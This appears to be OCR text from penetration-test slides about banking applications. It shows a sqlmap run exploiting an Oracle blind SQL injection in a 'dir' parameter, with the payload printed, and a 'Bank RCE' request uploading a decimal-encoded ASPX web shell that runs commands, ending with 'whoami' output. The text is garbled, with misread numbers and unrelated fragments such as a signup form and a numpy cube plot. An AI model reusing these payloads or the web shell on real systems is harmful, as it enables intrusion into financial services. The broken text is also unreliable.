« Dir parameter was present across all requests, any role can exploit it
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Corporate Banking SQL Injection

python3 sqlmap.py -r fleet.txt --force-ssl --level 3 --risk 3 --dbms=oracle --dbs

https://sqlmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior tual consent is illegal. It is the end user's responsibility to obey all applicable local, state and
federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:51:03 /2024-03-18/

[ J8[ ] parsing HTTP request from 'fleet.txt'

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
[ 1 ] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored sessi

Parameter: #1* ((custom) POST)

Type: boolean-based blind

Title: Oracle boolean-based blind - ORDER BY, GROUP BY clause

Payload: limit=45&start=458sort=COUNTRY&dir=DESC,(SELECT (CASE WHEN (7462=7462) THEN 1 ELSE CAST(1 AS INT)/(SELECT © FROM DUAL) END) FROM DUAL)& ISTVIEW_REQUEST=Y&PAGE_COD
E_TYPE=VDF_CODE&INPUT_ACTION=INIT_DATA_ACTION&PRODUCT_NAME=CUSER&INPUT_FUNCTION_CODE=VSBLTY&INPUT_SUB_PRODUCT=CUSEREWIDGET_ID=WGT_CUTOFF_TIME&VIEW_I UTOFF_TIME_VIEW&forceCallb
acks=true&CURRENCY_CD -stidgetnequest:true&_dinsess:o932do93-038:-4049-Blle-fb1279loeedd

1 ] testing Oracle
11 ] confirming Oracle
1 ] the back-end DBMS is Oracle
web server operating system: Linux Red Hat
web application technology: Apache 2.4.6
back-end DBMS: Oracle
[ ! ] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[ fetching database (schema) names
[ fetching number of databases
[ G] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[ retrieved: 11
[ retrieved:
[ retrieved: BRE
[ retrieved: R
[ retrieved: COMMON
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X
Get your prequalification certificate

Please fill in your details below and the concerned person will get

ack to you

Mobile Number *

+971 v 000000000

Email Address *

\/ fm not a robot

GET CERTIFICATE
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16
17
18

1

Pretty Raw Hex = \n

Fol
=
b |

e

=

=]

20

Bank RCE

Aspx as decimal form

sec-HFETCH-UesT: emptTy
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

Connection: close

{"fileContent":[60, 37, 64, 32, 80, 97, 103, 101, 32, 76, 97, 110, 103, 117, 97, 103, 101, 61, 34, 86, 66, 34, 32,
68, 101, 98, 117, 103, 61, 34, 116, 114, 117, 101, 34, 32, 37, 62, 10, 60, 37, 64, 32, 105, 109, 112, 111, 114, 116,
32, 78, 97, 109, 101, 115, 112, 97, 99, 101, &1, 34, 115, 121, 115, 116, 101, 109, 46, 73, 79, 34, 32, 37, 62, 10,
60, 37, 64, 32, 105, 109, 112, 111, 114, 116, 32, 78, 97, 109, 101, 115, 112, 97, 99, 101, 61, 34, 83, 121, 115, 116

, 101, 109, 46, &8, 105, 97, 103, 1ll0, 111, 115, 116, 105, 99, 115, 34, 32, 37, 62, 10, 10, 60, 115, 99, 114, 105,
112, 116, 32, 114, 117, 110, 97, 116, 61, 34, 115, 101, 114, 118, 101, 114, 34, 62, 32, 32, 32, 32, 32, 32, 10, 10,
g3, 117, 98, 32, 82, 117, 110, 67, 109, 100, 40, 83, 114, 99, 32, 65, 115, 32, 79, 98, 106, 101, 99, 116, 44, 32, 69
, 32, 65, 115, 32, 69, 118, 101, 110, 116, 65, 114, 103, 115, 41, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10
, 32, 32, 68, 105, 109, 32, 109, 121, 80, 114, 111, 99, 101, 11S, 115, 32, 65, 115, 32, 78, 101, 119, 32, 80, 114,
111, g9, 101, 115, 115, 40, 41, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 68, 105, 109, 32, 109,
121, 80, 114, 111, 99, 101, 11S, 115, 83, 116, 97, 114, 11, 73, 110, 102, 111, 32, 65, 115, 32, 78, 101, 119, 32,
80, 114, 111, 99, 101, 115, 115, 83, 116, 97, 114, 116, 73, 110, 102, 111, 40, 120, 112, 97, 116, 104, 46, 116, 101,
120, 116, 41, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 109, 121, 80, 114, 111, 99, 101, 115, 115
, 83, 116, 97, 114, 116, 73, 110, 102, 111, 46, 85, 115, 101, 83, 104, 101, 108, 108, 69, 120, 101, 99, 117, 116,
101, 32, 61, 32, 102, 97, 108, 115, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 109, 121, S0,
114, 111, 99, 101, 115, 115, 83, 116, 97, 114, 11s, 73, 110, 102, 111, 46, 82, 101, 100, 105, 114, 101, 99, 116, 83,
116, 97, 110, 100, 97, 114, 100, 79, 117, 11s, 112, 117, 116, 32, 61, 32, 116, 114, 117, 101, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 109, 121, 80, 114, 111, 99, 101, 11S, 115, 46, 83, 116, 97, 114, 116, 73,
110, 102, 111, 32, 61, 32, 109, 121, 80, 114, 111, 99, 101, 115, 115, 83, 116, 97, 114, 116, 73, 110, 102, 111, 32,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 109, 121, 80, 114, 111, 99, 101, 115, 115, 83, 116, 97, 114,
116, 73, 110, 102, 111, 46, 65, 114, 103, 117, 109, 101, 110, 116, 115, 61, 120, 99, 109, 100, 46, 116, 101, 120,
116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 109, 121, 80, 114, 111, 99, 101, 115, 115, 46, 83,
116, 97. 114. 116. 40. 41, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32. 32, 32. 10. 10, 32. 32. 68. 105. 109, 32, 109,

() € > | Seach 0 matches
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116, 111, 110, 32, 105, 100, 61, 34, 66, 117, 116, 116, 111, 110, 34, 32, 111, 110, 99, 108, 105, 99, 107, 61, 34,
114, 117, 110, 99, 108, l00, 34, 32, 114, 117, 110, 97, 116, 61, 34, 115, 101, 114, 118, 101, 114, 34, 32, 87, 105,
100, 116, 104, 61, 34, 49, 48, 48, 112, 120, 34, 32, 84, 101, 120, 116, 61, 34, 82, 117, 110, 34, 62, 60, 47, 97,
115, 112, 58, 66, 117, 116, 116, 111, 110, 62, 32, 32, 32, 32, 32, 32, 32, 32, 10, 60, 112, 62, 60, 97, 115, 112, 38
, 76, 97, 98, 101, 108, 32, 105, 100, 61, 34, 114, 101, 115, 117, 108, 116, 34, 32, 114, 117, 110, 97, 116, 61, 34,
115, 101, 114, 118, 101, 114, 34, 62, 60, 47, 97, 115, 112, 58, 76, 97, 98, 101, 108, 62, 32, 32, 32, 32, 32, 32, 32
, 10, 60, 47. 102. 111. 114. 109. 62, 10, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62],
"f1leName":" 134138.aspx","siteurl":"https:, o ’
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Arguments /c whoami

iz =y - - 119 webapp
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Thank you

# Create a 3D cube
cube = np.zeros((10, 10, 10), dtype=bool)
cube[2:8, 2:8, 2:8] = True

import numpy as np
import matplotlib.pyplot as plt

# Display the cube and voxel
count

fig, ax = plt.subplots
(subplot_kw={"projection": "3d"})
ax.wvoxels(cube, edgecolor="k')
ax.set_title(f"Cube with
{np.count_nonzero(voxels)}
voxels")
plt.show()




